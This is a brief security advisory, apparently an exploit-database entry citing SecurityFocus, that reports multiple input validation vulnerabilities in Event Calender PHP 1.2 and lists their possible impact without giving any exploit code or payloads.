Event Calender PHP - Multiple Input Validation Vulnerabilities

source: https://www.securityfocus.com/bid/54455/info

Event Calender PHP is prone to multiple input validation vulnerabilities.

Exploiting these vulnerabilities could allow an attacker to execute arbitrary script code, steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Event Calender PHP 1.2 is vulnerable; other versions may also be affected.
